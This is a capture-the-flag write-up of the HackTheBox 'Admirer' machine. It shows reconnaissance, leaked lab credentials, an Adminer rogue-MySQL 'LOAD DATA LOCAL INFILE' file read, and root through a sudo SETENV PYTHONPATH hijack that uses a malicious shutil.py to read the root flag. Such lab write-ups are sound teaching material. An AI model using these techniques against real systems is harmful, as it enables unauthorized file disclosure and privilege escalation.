Home HackTheBox - Admirer
Post
Cancel

HackTheBox - Admirer

Foothold

nmap scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ nmap -min-rate 5000 --max-retries 1 -sV -sC -p- -oN Admirer-full-port-scan.txt 10.10.10.187

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey: 
|   2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
|   256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_  256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry 
|_/admin-dir
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

nmap points out that there is an entry in robots.txt (on port 80) which is /admin-dir.

HTTP (port 80)

1
2
3
4
5
6
$ gobuster dir -u http://$IP -w /usr/share/dirb/wordlists/common.txt
/assets (Status: 301)
/images (Status: 301)
/index.php (Status: 200)
/robots.txt (Status: 200)
/server-status (Status: 403)
  • robots.txt:

robots.txt

waldo is a potential user.

/admin-dir

admin dir

Thanks to gobuster, we can see that there are two hidden files contacts.txt and .txt in /admin-dir.

1
2
3
$ gobuster dir -u http://$TARGET/admin-dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -x .txt,.php
/contacts.txt (Status: 200)
/credentials.txt (Status: 200)
  • contacts.txt:

admin dir

6 potential users:

  • penny wise
  • rajesh nayyar
  • amy bialik
  • leonard galecki
  • howard helberg
  • bernadette rauch

  • credentials.txt:

admin dir

Now we have some useful credentials:

  • Internal mail account:
    • username → w.cooper@admirer.htb
    • password → fgJr6q#S\W:$P
  • FTP account:
    • username → ftpuser
    • password → %n?4Wz}R$tTF7
  • Wordpress account:
    • username → admin
    • password → w0rdpr3ss01!

FTP (port 21)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ ftp $TARGET
Connected to 10.10.10.187.
220 (vsFTPd 3.0.3)
Name (10.10.10.187:root): ftpuser
331 Please specify the password.
Password: %n?4Wz}R$tTF7
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0            3405 Dec 02  2019 dump.sql
-rw-r--r--    1 0        0         5270987 Dec 03  2019 html.tar.gz
226 Directory send OK.
ftp> get dump.sql
local: dump.sql remote: dump.sql
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for dump.sql (3405 bytes).
226 Transfer complete.
3405 bytes received in 0.00 secs (1.0795 MB/s)
ftp> get html.tar.gz
local: html.tar.gz remote: html.tar.gz
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for html.tar.gz (5270987 bytes).
226 Transfer complete.
5270987 bytes received in 10.05 secs (512.4245 kB/s)

We retrieved two files:

  1. dump.sql
  2. html.tar.gz

html.tar.gz looks like the source code of the website except that /admin-dir is replaced by /w4ld0s_s3cr3t_d1r. Besides, there is a folder called utility-scripts:

utility-scripts

Additional credentials can be found in utility-scripts/db_admin.php:

  • username: waldo
  • password: Wh3r3_1s_w4ld0?

db_admin.php

Adminer

We can run three types of requests. I wanted to remove one of the disabled attribute in order to see what happens next:

rm disabled attribute

This error message appeared:

Need privileges

We need some privileges, maybe we have a log in page. so I ran gobuster against /utility-scripts:

1
2
3
4
$ gobuster dir -u http://$TARGET/utility-scripts/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -x .txt,.php -s 200
/adminer.php (Status: 200)
/info.php (Status: 200)
/phptest.php (Status: 200)

Indeed, there is Adminer running on http://10.10.10.187/utility-scripts/adminer.php:

Adminer

Unfortunately, we cannot log in even when using credentials we gathered so far.

I looked for “adminer 4.6.2 vuln” and “adminer 4.6.2 exploit” and I found this article about a serious vulnerability discovered in Adminer affecting version v4.6.2:

google search

article

Setting up MySQL

Since we can specify MySQl Server’s IP address, let’s run MySQL on our machine:

  1. Ensure you have already installed mariadb, otherwise install it:
1
2
3
$ dpkg -l | grep mariadb
# if no output, install it via:
# apt install mariadb-server-<LAST_VERSION> mariadb-client-<LAST_VERSION>
  1. Connect to MySQL and create a user dedicated to it:
1
2
3
4
$ mysql -u root
MariaDB [(none)]> CREATE USER '<USERNAME>'@'10.10.10.187' IDENTIFIED BY'<YOUR PASSWORD>';
Query OK, 0 rows affected (0.001 sec)

The IP address is set to 10.10.10.187 because we want to enable target HTB machine to connect to our Database.

Put a password strong enough so that other HTB users cannot guess it quickly and connect to our database. You can use pwgen command to generate passwords.

  1. Create a temporary Database:
1
2
MariaDB [(none)]> CREATE DATABASE <TEMP_DB_NAME>;
Query OK, 1 row affected (0.000 sec)
  1. Grant all privileges to your new user on this temporary database:
1
2
MariaDB [(none)]> GRANT ALL PRIVILEGES ON <TEMP_DB_NAME>.* TO <USERNAME>@'10.10.10.187';
Query OK, 0 rows affected (0.001 sec)
  1. Edit /etc/mysql/mariadb.conf.d/50-server.cnf and change bind-address address to your HTB IP:
1
bind-address    = <HTB_IP>
  1. (Re)start service:
1
$ systemctl restart mariadb

You’re now connected:

connected to MySQL

As you can see, I named my temporary database TEMPDB and I’m connected to my HTB private IP 10.10.14.6.

Exploit

In order to perform a similar exploit as in the article video, we have to create a table by clicking on “Create table” link on the left of the page.

However there is no such file as app/etc/local.xml as we can see:

Can't find file

Let’s be creative. What about /etc/passwd:

Unable to open file

Arg! Let’s try admin_tasks.php since we are in the same directory:

1
2
3
LOAD DATA LOCAL INFILE 'admin_tasks.php'
INTO TABLE TEMPDB.backup
FIELDS TERMINATED BY "\n"

query success

Bu there is nothing interesting:

admin_tasks.php in SQL table

Looking at ../index.php, we can see there are new credentials:

1
2
3
LOAD DATA LOCAL INFILE '../index.php'
INTO TABLE TEMPDB.backup
FIELDS TERMINATED BY "\n"

new creds

  • username: waldo
  • password: &<h5b~yK3F#{PaPB&dA}{H>

Using these credentials we can log in to ssh:

ssh

User (waldo)

1
2
3
4
5
6
7
8
9
10
waldo@admirer:~$ cat user.txt 
2cf909ef8117cf88a7793227946a8fff
waldo@admirer:~$ sudo -l
[sudo] password for waldo: 
Matching Defaults entries for waldo on admirer:
    env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always

User waldo may run the following commands on admirer:
    (ALL) SETENV: /opt/scripts/admin_tasks.sh
waldo@admirer:~$ 

SETENV means when we execute sudo we can set environment variables.

Let’s take a look at admin_tasks.sh:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#!/bin/bash

view_uptime()
{
    /usr/bin/uptime -p
}

view_users()
{
    /usr/bin/w
}

view_crontab()
{
    /usr/bin/crontab -l
}

backup_passwd()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Backing up /etc/passwd to /var/backups/passwd.bak..."
        /bin/cp /etc/passwd /var/backups/passwd.bak
        /bin/chown root:root /var/backups/passwd.bak
        /bin/chmod 600 /var/backups/passwd.bak
        echo "Done."
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

backup_shadow()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Backing up /etc/shadow to /var/backups/shadow.bak..."
        /bin/cp /etc/shadow /var/backups/shadow.bak
        /bin/chown root:shadow /var/backups/shadow.bak
        /bin/chmod 600 /var/backups/shadow.bak
        echo "Done."
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

backup_web()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Running backup script in the background, it might take a while..."
        /opt/scripts/backup.py &
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

backup_db()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Running mysqldump in the background, it may take a while..."
        #/usr/bin/mysqldump -u root admirerdb > /srv/ftp/dump.sql &
        /usr/bin/mysqldump -u root admirerdb > /var/backups/dump.sql &
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}



# Non-interactive way, to be used by the web interface
if [ $# -eq 1 ]
then
    option=$1
    case $option in
        1) view_uptime ;;
        2) view_users ;;
        3) view_crontab ;;
        4) backup_passwd ;;
        5) backup_shadow ;;
        6) backup_web ;;
        7) backup_db ;;

        *) echo "Unknown option." >&2
    esac

    exit 0
fi


# Interactive way, to be called from the command line
options=("View system uptime"
         "View logged in users"
         "View crontab"
         "Backup passwd file"
         "Backup shadow file"
         "Backup web data"
         "Backup DB"
         "Quit")

echo
echo "[[[ System Administration Menu ]]]"
PS3="Choose an option: "
COLUMNS=11
select opt in "${options[@]}"; do
    case $REPLY in
        1) view_uptime ; break ;;
        2) view_users ; break ;;
        3) view_crontab ; break ;;
        4) backup_passwd ; break ;;
        5) backup_shadow ; break ;;
        6) backup_web ; break ;;
        7) backup_db ; break ;;
        8) echo "Bye!" ; break ;;

        *) echo "Unknown option." >&2
    esac
done

exit 0

In backup_web function the script is calling a python script /opt/scripts/backup.py:

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python3

from shutil import make_archive

src = '/var/www/html/'

# old ftp directory, not used anymore
#dst = '/srv/ftp/html'

dst = '/var/backups/html'

make_archive(dst, 'gztar', src)

Root

Due to the SETENV misconfiguration in sudo, we can hijack shutil Python’s library and create a malicious function called make_archive:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ printf "def make_archive(a, b, c):\n\twith open('/root/root.txt', 'r') as rootPass:\n\t\twith open('/dev/shm/.solve', 'w') as solution:\n\t\t\tsolution.write(rootPass.read())\n" > /dev/shm/shutil.py

$ cat /dev/shm/shutil.py
def make_archive(a, b, c):
        with open('/root/root.txt', 'r') as rootPass:
                with open('/dev/shm/.solve', 'w') as solution:
                        solution.write(rootPass.read())

$ sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh

[[[ System Administration Menu ]]]
1) View system uptime
2) View logged in users
3) View crontab
4) Backup passwd file
5) Backup shadow file
6) Backup web data
7) Backup DB
8) Quit
Choose an option: 6
Running backup script in the background, it might take a while...

$ cat /dev/shm/.solve
c7b1d296e8986080b28e0e73bb14c232

This post is licensed under 0x3n0 by the author.

VulnHub - Mr Robot

C|EH Practical Exam